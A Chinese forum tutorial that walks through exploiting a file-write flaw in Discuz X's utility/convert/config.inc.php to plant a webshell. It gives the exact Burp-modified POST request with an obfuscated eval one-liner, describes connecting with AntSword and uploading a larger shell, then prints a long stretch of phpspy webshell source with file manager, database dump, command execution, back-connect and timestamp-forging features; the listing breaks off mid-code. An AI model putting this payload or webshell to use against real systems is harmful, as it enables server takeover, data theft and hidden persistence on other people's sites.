找回密码
 立即注册
搜索
查看: 7715|回复: 0

网络安全实战之discuz上传漏洞利用

[复制链接]

985

主题

92

回帖

5万

积分

管理员

积分
53561
发表于 2022-6-25 09:01:11 | 显示全部楼层 |阅读模式

攻击思路:- t( b5 a  ]7 q1 P3 h
想要拿下一台主机A的权限:2 |, w3 N8 S, t9 R; z+ R# [) P
1、了解一下这个服务器:端口,服务器版本,操作系统版本。找漏洞
% H* A- e8 N6 q+ n; x2、拿到对A有一定权限的身仹。如果对方是一个WEB服务器,就利用对方网站应用程序的漏洞,上传webshell然后提权7 y5 i3 [# l# L% i: |4 S' Z
3、传上去后,得到apache用户普通权限,再提权成root
( m6 s* J4 J: O1 P( b概述:8 c- R7 Z7 M7 Q! y+ D- @/ m& a* i& s
这突破在一个DZ X系列自带的转换工具里面。
; s% H) B3 K% ^- u4 A; D漏洞路径:utility / convert / data / config.inc.php
' q: U( f2 T& \! b- f! I* a+ B漏洞发生的原因是:config.inc.php这个文件在黑客通过post写入时,无仸何过滤检测,所以通过post方式往config。inc.php中写木马程序。
9 |% n$ N# ?$ S5 w) _; ^触发突破过程:
) M+ `" S' w+ H" a/ }& Z' j1、在浏览器中访问打开http://192.168.1.63/utility/convert/index.php  
7 {3 K8 i# o/ U! H2、使用/utility/convert/index.php迚行版本转换3,config.inc.php文件没有做过滤,可以使用POST方法对config.inc.php注入木马程序! i- ^# W5 C% M4 @# U
攻击过程:
, E& g7 H9 y/ m# c! b& M1、打开burp设置报文拦截,然后使用浏览器访问http://xxxxxxx.cn//utility/convert/
) C0 q1 O; W3 K: ~1 Y) ^3 d
: V: T: X/ D8 ]/ M; a
& ^0 }0 b, }# N( `; f2,右键单击空白处,选择发送到中继器,将报文发到中继器

3、然后在中继器中查看信息:

4、修改第一行:GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP / 1.1将第一行内容修改为:

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes

这是一个经过加密的一句话木马解密后内容如下:

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa   eval("$_POST[c];"););

eval()凼数中的eval是评估的简称,这个凼数的作用就是把一段指向PHP语句来执行

5、修改完成后发送数据包

6、刚刚上传的文件路径:http://xxxxxx.cn/utility/convert/data/config.inc.php

代码详细:

可以看到和我们修改提交的参数类似。而且多了很多^ M符号。

扩展:^ M符号^ M字符的来历和作用:在DOS/Windows里,文本文件的换行符为\r \n,而在linux系统里则为\n,所以DOS/Windows里编辑过的文本文件到了linux里,每一行都多了个^ M。所以^ M只是一个换行符号,没有实际的用处,我们可以将它保留,也可以将它删除,%0a%0d等于\r\n

7、祭出祖传的中国蚁剑连接刚才上传的一句话木马0 n5 Z0 O9 T4 e& B" J0 j$ n

# {) M( d) S3 W9 T8、通过中国蚁剑上传大码
) P1 A0 ?# F$ `6 A% u
% w* W0 g0 n7 @$ S9 b0 f1 Q4 d; H+ x4 \
10、任意机器访问我们的webshell2.php木马文件,浏览器输入http://xxxxxx.cn/utility/convert/data/webshell2.p hp输入密码:cmd

webshell代码如下:

  1. <?php3 c. V( M0 n, H7 w3 L. D& j

  2. ' w7 ?! G6 G* V' _
  3. /*****************************************************************************& L4 L; I( D( e' s8 Q8 r- d1 M
  4. . M3 Z- Q! H5 F( F: y! x
  5. ===================== 请误用于非法用途,造成一切后果与本人无关。====================
    0 w: [- S5 x8 [2 o  }) O* M7 V
  6. 6 i2 D& ?5 B, u- E
  7. ====* D& }1 G, `- x: \6 }9 [# G
  8. ; {/ B+ {  w: C1 ?" s, h
  9. * X3 E, e$ {# c) n! ~( r7 P
  10. *****************************************************************************/
    . j1 S4 c, g2 G: _

  11. 2 ], x) w- N! i8 D
  12. error_reporting(7);
    ! k2 I2 @+ o2 {
  13. @set_magic_quotes_runtime(0);& Z( u* t% i7 w& v, y
  14. ob_start();" g$ D% x4 b2 |' H% I( {3 N
  15. $mtime = explode(' ', microtime());9 o  m) p6 w. \- U2 J  S
  16. $starttime = $mtime[1] + $mtime[0];
    1 \+ F9 C& i+ Z$ L( }' P
  17. define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');7 w1 ^# m8 J8 W. L' `" e
  18. //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );0 Y  V) O6 l; W" b4 {) k
  19. define('IS_WIN', DIRECTORY_SEPARATOR == '\\');8 l- @! T6 s) P8 U
  20. define('IS_COM', class_exists('COM') ? 1 : 0 );
      F) T5 b, s; q; _
  21. define('IS_GPC', get_magic_quotes_gpc());3 i6 V, t2 C, T+ i
  22. $dis_func = get_cfg_var('disable_functions');
      {4 d! d' p; `) @8 N) H
  23. define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );7 }0 S8 T' Z% L
  24. @set_time_limit(0);
    7 e  _( J8 h1 x1 o" d

  25. 0 @/ Z3 A8 s8 g, ^* N( g$ V7 P6 T
  26. foreach(array('_GET','_POST') as $_request) {
    % f( s* M. [8 @0 z
  27.         foreach($$_request as $_key => $_value) {' U0 B% Q7 k$ N9 o7 Z' r
  28.                 if ($_key{0} != '_') {
    , H+ n/ B) h) a! n6 m  f
  29.                         if (IS_GPC) {; L: M5 c# F! e0 ?: c
  30.                                 $_value = s_array($_value);
    - m- z( M! w( i% t" [7 @- w8 J, g
  31.                         }
    : F, Y3 u) C& w8 p% f8 t
  32.                         $$_key = $_value;$ C: J: x) t: H0 E- J9 ^0 U  C
  33.                 }
    " Q( g* n1 {/ r; ]
  34.         }
    # i' s+ Z- G2 S, u" ]  O
  35. }
      g, Y1 O8 L" a! ]

  36. 8 v; y# o/ u, u+ j
  37. /*===================== 程序配置 =====================*/
    3 F; p% D6 c1 k% J( d$ C+ E. h8 ?
  38. $admin = array();* Q% B. {+ j/ r5 c2 N# n
  39. // 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效
    0 @+ M) }* Q* L  H. p
  40. $admin['check'] = true;% W5 Y$ i2 k4 @- I& S( u" Z; z
  41. // 如果需要密码验证,请修改登陆密码
    % B8 a& [3 X1 l( r
  42. $admin['pass']  = 'xuegod';' _1 A. P1 I& I" C
  43. 5 U' u, E; x4 ~9 w' K  y4 u2 E
  44. //如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认* [8 e) V* U  P5 L9 }  r+ S' R
  45. // cookie 前缀
    ! M/ a' J+ g5 j; [
  46. $admin['cookiepre'] = '';3 a( t. Y' f2 R5 R: [; R4 u& |
  47. // cookie 作用域, u1 _/ o( m6 G! y* b
  48. $admin['cookiedomain'] = '';
    ) @$ F$ R" |0 ^" Q$ Q
  49. // cookie 作用路径
    ! Q* m. J0 p1 x. I6 p
  50. $admin['cookiepath'] = '/';
    8 I4 Z1 c* k; e
  51. // cookie 有效期% k; |# p6 m: r
  52. $admin['cookielife'] = 86400;. q6 `! k9 K$ U4 h8 A3 R+ \3 Y
  53. /*===================== 配置结束 =====================*/' J: n: k3 ]! l. i

  54. ( |* a  V0 y1 L3 Y6 w3 X
  55. if ($charset == 'utf8') {/ R) S/ k, J8 j4 B$ a
  56.         header("content-Type: text/html; charset=utf-8");5 q6 S% ~4 [) [( N  a$ l3 j
  57. } elseif ($charset == 'big5') {
    - i  o6 A3 N; x% e: D, s8 R
  58.         header("content-Type: text/html; charset=big5");
    0 J" M& \" H5 `+ P: A
  59. } elseif ($charset == 'gbk') {
    1 G: \; s4 Z. v4 m* R
  60.         header("content-Type: text/html; charset=gbk");; O7 a0 q+ x5 x; E
  61. } elseif ($charset == 'latin1') {
    & A3 ^% z4 X' ]3 }1 @2 j8 ]: I
  62.         header("content-Type: text/html; charset=iso-8859-2");, k4 J) M8 y9 y# ?
  63. }
    $ v& `9 V- t8 K4 S% h& x( L9 p. Y$ u

  64. % g4 a- }( e( p' v8 W: [
  65. $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];& E5 z( a' @  R  f
  66. $timestamp = time();. F) j- x4 D7 w" X

  67. & C, C9 _7 U2 d" _/ J, w
  68. /*===================== 身份验证 =====================*/
    - P% D! Q- m: Q; a% H
  69. if ($action == "logout") {6 T: N2 M3 [" h. w
  70.         scookie('phpspypass', '', -86400 * 365);0 M) E3 I% D$ l. Z0 q5 C- `# i' [
  71.         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
    4 n1 m5 B1 F0 ?$ j
  72.         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');3 X. ?" E/ ]" b/ S* J3 `7 |
  73.         exit;
    $ o& z$ Q+ [/ f  a; o- T
  74. }, A& e4 D( s' _: q& W! _$ @
  75. if($admin['check']) {
    6 Q$ b- M3 B8 Q
  76.         if ($doing == 'login') {
    : b% W% d" z& Z9 K
  77.                 if ($admin['pass'] == $password) {" ]8 ]* j  O: x. \% a9 N: ^
  78.                         scookie('phpspypass', $password);
      G6 `: G7 ~# ]2 r; U, W
  79.                         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');" x6 X% J6 k: Q; g
  80.                         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');7 J7 o1 M6 B! r6 u$ k$ u! M
  81.                         exit;
    & f9 x* G+ M' G( g1 B
  82.                 }) Z+ ~3 d% T7 Y6 E6 ?
  83.         }
    / [, {6 u1 ~0 d1 W) A7 \
  84.         if ($_COOKIE['phpspypass']) {
    4 |% ^  L0 v  T" V& P+ Z- h  {6 s
  85.                 if ($_COOKIE['phpspypass'] != $admin['pass']) {# K! H) k& b. j: b- ]- S: ^! W8 H
  86.                         loginpage();
    5 g/ x2 S: S' r  E, M$ h4 b: v
  87.                 }
    + t. U3 v8 Q' O% Q4 n# V+ u
  88.         } else {" t  A- r8 }- R/ b5 f0 V; S, O; I! ?
  89.                 loginpage();
    . i5 _1 e1 E6 ^6 j
  90.         }
    ' A1 s8 d% k- Z8 x
  91. }9 O# @. k( l0 D3 r+ ^* q
  92. /*===================== 验证结束 =====================*/) C! x- q' W" r7 Z. J! Q
  93. / v6 z' m" k. l/ j
  94. $errmsg = '';
    5 Y5 r$ k: }0 k& N

  95. 9 M0 b$ u3 N! r# Y* y. h
  96. // 查看PHPINFO
    ) T! F+ K! P2 I; B& s2 G
  97. if ($action == 'phpinfo') {
    & e: |  e2 @" @
  98.         if (IS_PHPINFO) {
    1 x) o' n- m6 T- w
  99.                 phpinfo();
    0 ~1 X# X4 w1 _, i8 |  z! _
  100.         } else {& ~; A  Y# H& \5 d" W# V2 @
  101.                 $errmsg = 'phpinfo() function has non-permissible';% m) i1 X' f+ Z6 P( W. s9 ^2 r# ]7 a
  102.         }
    ; m1 b, r' e) z2 m# z) H
  103. }; A( c+ E0 M6 H4 A' ]9 Y, ?" |) b

  104. $ b; O: ]2 N) R: C  [' T
  105. // 下载文件
    7 N! [' w' x$ T# p$ `
  106. if ($doing == 'downfile' && $thefile) {
    2 K  t- ~% ^3 K* o2 P5 x
  107.         if (!@file_exists($thefile)) {
    0 i* a/ \( c( Z1 \
  108.                 $errmsg = 'The file you want Downloadable was nonexistent';, j$ v5 \/ E7 v' t& t+ Y; t
  109.         } else {( @0 k" f) u) G& f3 [# S0 `7 f# [
  110.                 $fileinfo = pathinfo($thefile);3 T' c0 m  M( y; T1 n
  111.                 header('Content-type: application/x-'.$fileinfo['extension']);
    % h0 a, R* N& N" T
  112.                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);' }1 I. i& n) D$ J( Q! z4 p2 j0 ^
  113.                 header('Content-Length: '.filesize($thefile));, s; K. q4 \8 d4 x
  114.                 @readfile($thefile);
    ! \. s8 P! o" M/ _$ H) R
  115.                 exit;7 P+ I1 F, `6 ~
  116.         }
    $ C4 t5 i4 O, B4 j
  117. }
    % V+ A6 J/ p4 z! L$ M
  118. * M, J9 \) b$ H5 W
  119. // 直接下载备份数据库
    ; R/ \1 r1 t/ [3 g
  120. if ($doing == 'backupmysql' && !$saveasfile) {0 W0 R) K: @+ L, \/ w
  121.         dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);; \; @+ E7 n' n9 d
  122.         $table = array_flip($table);  i7 i+ S" ?  G
  123.         $result = q("SHOW tables");( u2 B, s* R4 \6 K6 {5 E. ^5 h
  124.         if (!$result) p('<h2>'.mysql_error().'</h2>');
    " M$ q- t# B/ l8 M- K; V1 T8 ]
  125.         $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
    8 P' W8 [# `7 A, t; R
  126.         header('Content-type: application/unknown');) a! r& i& M) ?' w. D) `3 K3 H, e! _
  127.         header('Content-Disposition: attachment; filename='.$filename);% i; L$ X: o8 E! O$ n. T
  128.         $mysqldata = '';
    $ {7 [. M) G0 d$ m
  129.         while ($currow = mysql_fetch_array($result)) {! o7 \4 n" x! J% m9 Q
  130.                 if (isset($table[$currow[0]])) {: Y' f' H* v2 G4 W& l
  131.                         $mysqldata .= sqldumptable($currow[0]);) ^5 F0 Q6 W2 u9 s2 y
  132.                 }
    # G; E$ f. c- {$ w' V1 `- _. b, S
  133.         }( ?) O& C8 |# [4 y3 G+ l. u
  134.         mysql_close();
    & R& x7 ~* m4 G% U8 D! A
  135.         exit;( r, j  X9 t0 f" H: U
  136. }
    / o; @8 C! C5 R7 L+ c# a4 \
  137. 7 d9 s- i. s. O4 X2 a
  138. // 通过MYSQL下载文件
    2 Y; k7 M" v2 p- \) z1 p+ ^
  139. if($doing=='mysqldown'){/ Z+ `* `$ n( C1 n  ^  B
  140.         if (!$dbname) {
    2 [- g! Y, e7 k2 Q
  141.                 $errmsg = 'Please input dbname';
    # @! F1 t* H" p- z0 j3 n
  142.         } else {
    1 u+ g; ^) k2 Q7 k. t3 c
  143.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
    3 z: B# D* Y2 M1 y6 j& o7 [1 S
  144.                 if (!file_exists($mysqldlfile)) {
    , R* D7 `) ^5 A( J, _/ N! D. P& \
  145.                         $errmsg = 'The file you want Downloadable was nonexistent';' i: l9 Y1 [0 \( p2 D4 a$ e0 e
  146.                 } else {% ]0 d3 D* V) e: y$ f6 @: b
  147.                         $result = q("select load_file('$mysqldlfile');");4 W3 p( K% W6 F) B2 D1 {4 o! {
  148.                         if(!$result){
    2 o& k2 o7 N- @9 y! h: ~9 M8 _4 i
  149.                                 q("DROP TABLE IF EXISTS tmp_angel;");
    " D0 m! L3 j$ }! C- d
  150.                                 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
    $ T4 w* M& O/ y, f1 _
  151.                                 //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况2 @) r6 K8 f0 G9 Z& I
  152.                                 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");8 g/ U. |( Y  s, v: ?
  153.                                 $result = q("select content from tmp_angel");, S+ o, Y& p7 d3 u5 b% R: |
  154.                                 q("DROP TABLE tmp_angel");; q, T8 y) K* A
  155.                         }
    ! D, e0 d( n" R! E( h
  156.                         $row = @mysql_fetch_array($result);3 E4 G/ u$ b6 A/ {) i' ~; p' \
  157.                         if (!$row) {, @- \! `9 y9 h% }' N
  158.                                 $errmsg = 'Load file failed '.mysql_error();
    ' r- T1 Y* l3 G
  159.                         } else {
    2 t/ w  D/ q0 y; o" b2 ]
  160.                                 $fileinfo = pathinfo($mysqldlfile);
    ( J9 Q# W3 Z( ^- Z* z! c- g7 ~
  161.                                 header('Content-type: application/x-'.$fileinfo['extension']);
    4 L7 L' }8 N4 K- `
  162.                                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
    ' p/ e' H3 x1 [* i
  163.                                 header("Accept-Length: ".strlen($row[0]));: J1 O2 U4 z. k" {! Q. q
  164.                                 echo $row[0];
    + t: S& X$ S9 \
  165.                                 exit;
    ' I" F  r8 W, X0 e- c" a
  166.                         }
    0 N! L1 h4 w1 c( ]" {
  167.                 }
    0 D1 |8 Y: K" B6 G
  168.         }
    9 A$ |/ b6 x& I# Q
  169. }
    ) x  m4 s* C5 J( ]4 E4 X5 ?
  170. : P: Q+ |3 S6 I% U
  171. ?>3 P% E  m* G# [7 K
  172. <html>
    # ]9 Y  g+ B' \
  173. <head>
    - y. ]( I7 R* w) U% u
  174. <meta http-equiv="Content-Type" content="text/html; charset=gbk">" v, D% W2 C! k$ [5 D
  175. <title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>" j$ e$ f6 w  ^6 v9 n
  176. <style type="text/css">1 }) k1 ^, G! R: [/ F+ E3 P% \' y
  177. body,td{font: 12px Arial,Tahoma;line-height: 16px;}9 o* J9 ?# l" V0 u( i
  178. .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}! f. x% o  L# A! G
  179. .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
    4 G! Z7 Q  U- l1 f3 D  R
  180. .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
    7 ?8 o7 R) e+ @+ I: {2 U
  181. a {color: #00f;text-decoration:underline;}
    . }! b/ s" M+ L8 w( }8 \
  182. a:hover{color: #f00;text-decoration:none;}
    9 Q! K- J1 n8 h6 V
  183. .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
    3 a7 O3 R  b: S6 d6 d
  184. .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}( G, z" w3 ?! y9 x6 J+ x8 t9 [
  185. .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}9 q, ?/ b" ^" Y! n
  186. .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
    8 j7 ^, \/ S: @7 q
  187. .head td span{font-weight:normal;}# j; M% m0 O' b
  188. form{margin:0;padding:0;}' C; }0 S# A. e5 v
  189. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
    ' x; d  v5 @0 m
  190. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
    4 a% ^. L, e5 _7 I7 m! E# n
  191. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}1 f/ G" F, _  g' u8 C
  192. </style>+ M/ ]7 V3 }% |) V- [# Y  \
  193. <script type="text/javascript">! L. d% u3 k5 Z
  194. function CheckAll(form) {
    $ J1 `8 L: U1 K1 A/ ~
  195.         for(var i=0;i<form.elements.length;i++) {
    % V+ ~! F- j+ V7 Z4 X- I, S
  196.                 var e = form.elements[i];
    # T5 X. \: h3 p$ e8 ^% c7 X
  197.                 if (e.name != 'chkall')
    , B3 C" K" x: R9 G  D7 M* ^8 ?
  198.                 e.checked = form.chkall.checked;
    8 d- l4 Z5 d3 I# S4 l' D; b
  199.     }1 |3 @, I& s4 W: X! s) X  O
  200. }8 z1 G* j+ ~" t- {$ j  Y
  201. function $(id) {
    , Y0 ^. V$ p8 }+ U, S" l6 u$ ~
  202.         return document.getElementById(id);
    ' d$ m2 _5 s2 ~) ]4 r3 Z. p! H
  203. }
    + p! K% G; e6 t! y# D4 J
  204. function goaction(act){4 O& m! o. E; A
  205.         $('goaction').action.value=act;& Z% K$ E( B: T  a0 v8 }
  206.         $('goaction').submit();
    2 Y4 i. t1 T$ I& o
  207. }) ^5 b" W) v9 o9 D
  208. </script>
    9 p$ r+ Q( P5 I
  209. </head>
    & Z: A7 o) E3 D9 T
  210. <body style="margin:0;table-layout:fixed; word-break:break-all">
    8 |# O! L- g- L5 @
  211. <table width="100%" border="0" cellpadding="0" cellspacing="0">' y3 s/ a' b: L
  212.         <tr class="head">  f  F3 I  Q: [! C! F/ M
  213.                 <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
    5 c( D1 ^$ D& C
  214.         </tr>$ p2 Q: ~$ b2 O3 f& V# r# o% h
  215.         <tr class="alt1">
    ' s6 ]* z- b6 S& w1 S$ c( h( a. l
  216.                 <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>2 @3 B1 ~( w( M2 ^
  217.                         <a href="javascript:goaction('logout');">Logout</a> |
    + X( [7 m$ p. s# N+ O( y2 |
  218.                         <a href="javascript:goaction('file');">File Manager</a> |
    " I( a3 \) c$ y7 C% j
  219.                         <a href="javascript:goaction('sqladmin');">MySQL Manager</a> | / S, e. z5 F- x4 c! ], d
  220.                         <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> | - C, `0 F2 E: w* {2 a+ S
  221.                         <a href="javascript:goaction('shell');">Execute Command</a> | 8 R# ?! o& W& y2 Z' g) K5 y; M
  222.                         <a href="javascript:goaction('phpenv');">PHP Variable</a> |
    ! F" C; V7 B! q- K# Q( y# t# D1 ^9 d
  223.                         <a href="javascript:goaction('eval');">Eval PHP Code</a>0 A. P8 d! p) c9 A' G: \
  224.                         <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
    : T+ `" i( D$ ?! [' q
  225.                 </td>' d& I' _' g5 [+ G' _' S3 u
  226.         </tr>
    6 `2 l  a  E# f6 l; `* Q' Q
  227. </table>: {" L9 H6 {% l1 B
  228. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
    6 z3 A+ H) K4 K
  229. <?php0 U) z6 G& z/ u0 f

  230. ' h/ G7 P( }- h9 j& u
  231. formhead(array('name'=>'goaction'));, k7 H* `( K. D# f" M% k$ e
  232. makehide('action');+ i5 u) n' o% \4 e
  233. formfoot();" D! A4 d' V, _+ v
  234. 1 H! p9 l: I# g! l& d
  235. $errmsg && m($errmsg);; m; I: f1 ^6 d$ t7 _% F% c

  236.   b0 z7 [  |- q
  237. // 获取当前路径) S/ P. t  R1 F: j; ^
  238. !$dir && $dir = '.';) z; w, l$ t6 Y9 r/ s
  239. $nowpath = getPath(SA_ROOT, $dir);
    8 E- l' h( E! e3 O
  240. if (substr($dir, -1) != '/') {
    / w' M' _% V, e# Q" `1 T
  241.         $dir = $dir.'/';8 @# J8 f6 L9 j' \$ u8 {
  242. }2 ]" x, U0 g8 g
  243. $uedir = ue($dir);) k  F- H7 L9 u, Z- i; j% l# \
  244.   Q1 }0 ~, N3 S+ c7 I- ]9 v
  245. if (!$action || $action == 'file') {8 N8 K: w: [  E2 y

  246. ' c- J: }7 a* K* u1 N7 V6 U" k
  247.         // 判断读写情况* h' ^% u, G/ o
  248.         $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
    8 S5 i' x, I, I) b5 W7 S0 `
  249. % |$ G3 O6 h( e  J+ e5 d
  250.         // 删除目录; J. [5 J& H4 E! D% s6 p; X8 H4 n
  251.         if ($doing == 'deldir' && $thefile) {
    / @' a% i; _. |, _4 r+ i5 U
  252.                 if (!file_exists($thefile)) {
    2 P- b; a0 G; H& i
  253.                         m($thefile.' directory does not exist');8 Y  U! H, n) g& \7 B
  254.                 } else {
    2 y; a0 A# `+ ^) Y# c2 R5 u
  255.                         m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));; G5 r3 a! O4 l; p7 ?+ \4 K7 i* R6 y
  256.                 }
    $ ^* m/ i( t/ }
  257.         }2 v2 N0 \/ E: x7 |, h" h

  258. 9 E: c' }3 w5 n3 c! Y4 P; i
  259.         // 创建目录: u3 r& o% P4 h7 B- A0 F
  260.         elseif ($newdirname) {7 F8 O0 G" g- F" f" D" v
  261.                 $mkdirs = $nowpath.$newdirname;+ a( A8 U4 c5 _8 K
  262.                 if (file_exists($mkdirs)) {. u$ \# f) _5 J
  263.                         m('Directory has already existed');
    . P4 a; a9 `3 L; U: }
  264.                 } else {
    9 O, x6 H& g* b! q; _! M
  265.                         m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));' h9 ?( x9 w, `$ i" Y, p# O
  266.                         @chmod($mkdirs,0777);
    & I4 a9 O7 q6 A  v! C
  267.                 }# E* J4 y/ R+ y( Z4 ?8 x
  268.         }
    . G7 L2 I) Y: [# @( h" |2 @
  269. : ]1 x+ y5 c3 z8 U) q
  270.         // 上传文件  D/ k% c4 y; Z1 g
  271.         elseif ($doupfile) {0 X* f& F, v* c* Z( ]0 q
  272.                 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));5 J: X5 n, S0 y) F
  273.         }
    " ^5 }0 w3 g2 Z* U( _

  274. 9 J4 n; X4 g, Z# l. ?
  275.         // 编辑文件
    , v, s% h7 U$ d
  276.         elseif ($editfilename && $filecontent) {
    ! B2 o. u9 z: p( e8 h# ^
  277.                 $fp = @fopen($editfilename,'w');' @- V, M& s, o( j+ v
  278.                 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
    - R. P; o1 l' [- `0 A8 q& q
  279.                 @fclose($fp);* R- c" X$ j2 B8 J9 M$ Y9 B+ u& S
  280.         }
    ; g7 D- d$ g, x: J9 ?! z1 v6 w% o
  281.   v1 R' \9 F/ L$ u/ c- p, r% L
  282.         // 编辑文件属性
    ( |: u/ i; y2 W4 Q) e
  283.         elseif ($pfile && $newperm) {" Z( m7 j. B3 T$ x3 G/ r
  284.                 if (!file_exists($pfile)) {
    5 t: L# ^* n1 C: o7 [# i
  285.                         m('The original file does not exist');
    5 o1 Y: [4 h" ^4 w2 V! `: s
  286.                 } else {2 ~2 _9 K$ ~+ ]. b9 h: W
  287.                         $newperm = base_convert($newperm,8,10);* Y4 _, V9 _8 ^7 A9 {9 Q
  288.                         m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
    % d/ O9 o2 ^5 \
  289.                 }3 g/ ^& i( q& \3 Z/ e- Q8 D, A
  290.         }6 m& V! L& v" n6 R8 O& {: w. }9 {( t
  291. 0 v- l2 C9 G4 _# R
  292.         // 改名' x7 [8 L& F$ o$ W1 ?: I2 z7 i  r
  293.         elseif ($oldname && $newfilename) {
    $ r7 }8 F" H: c- R
  294.                 $nname = $nowpath.$newfilename;, O) H  `3 X$ Y2 ?
  295.                 if (file_exists($nname) || !file_exists($oldname)) {% d3 i8 s) z9 b- R* \
  296.                         m($nname.' has already existed or original file does not exist');  V8 k' T; c6 f
  297.                 } else {( G& c; K" ^, u  u
  298.                         m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));/ f8 b: H) q( U) m
  299.                 }% b, F! y1 A3 F% K( T4 k" B& v
  300.         }
    - W! D/ @5 l% N2 b

  301. : Q+ E6 x7 D0 B( g' J) ?3 C
  302.         // 复制文件. t( y$ V- L0 n' F
  303.         elseif ($sname && $tofile) {
    1 E) G) D, F' U- a4 m
  304.                 if (file_exists($tofile) || !file_exists($sname)) {8 O9 o. m- h' O" \: z
  305.                         m('The goal file has already existed or original file does not exist');4 w9 Q0 q& ~6 z) K1 ^- Q
  306.                 } else {
    * o, D! f/ }* p1 n' s
  307.                         m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
    ! Y* i6 o! S- C. a% w+ r, a
  308.                 }% I) W9 M+ F" v2 }" b3 _
  309.         }
    6 N+ o3 S7 L- m# R
  310. # H' z  K# h" i. p& y6 h
  311.         // 克隆时间2 X- ?! G$ W4 |; t5 z. i
  312.         elseif ($curfile && $tarfile) {' y. h8 U2 f6 J5 J- l! o
  313.                 if (!@file_exists($curfile) || !@file_exists($tarfile)) {- N$ K/ `$ S0 f4 I
  314.                         m('The goal file has already existed or original file does not exist');) g: h3 c4 u' @  D
  315.                 } else {
    , N/ L* `+ j: G( i: d
  316.                         $time = @filemtime($tarfile);: k" z/ B, G* J! D; H
  317.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));; S4 O0 e0 m' L5 V* Z! h: u0 h' m
  318.                 }# V7 H6 c6 \7 \; O! B0 `
  319.         }
    9 x; C' T$ W7 F! p* G

  320. * S1 r2 g5 U( T
  321.         // 自定义时间
    9 Q3 w# K( w" W4 Y
  322.         elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
    : [8 A$ n/ T2 }. x) M6 T
  323.                 if (!@file_exists($curfile)) {4 U5 W$ _* o  t6 y. j
  324.                         m(basename($curfile).' does not exist');
    ; \# G' @  p( ~+ c6 m8 ^
  325.                 } else {. g- {  {# S0 m! O6 J' W9 L
  326.                         $time = strtotime("$year-$month-$day $hour:$minute:$second");
    5 m% [. {* p5 Q& k7 S  x
  327.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));/ K4 K  r* `1 N& W, S; Q
  328.                 }) i1 y/ Q/ m2 Z# f3 d; v" c
  329.         }
    5 _) @9 g; Y5 \, v
  330. 8 ?6 r% B4 p% o8 o) h0 `
  331.         // 打包下载
    " f3 F" k# D+ ~8 x/ Y
  332.         elseif($doing == 'downrar') {6 X* F4 P' X9 W& o0 e3 M1 j
  333.                 if ($dl) {4 w- f5 E) p* t% p6 G0 r4 C" g
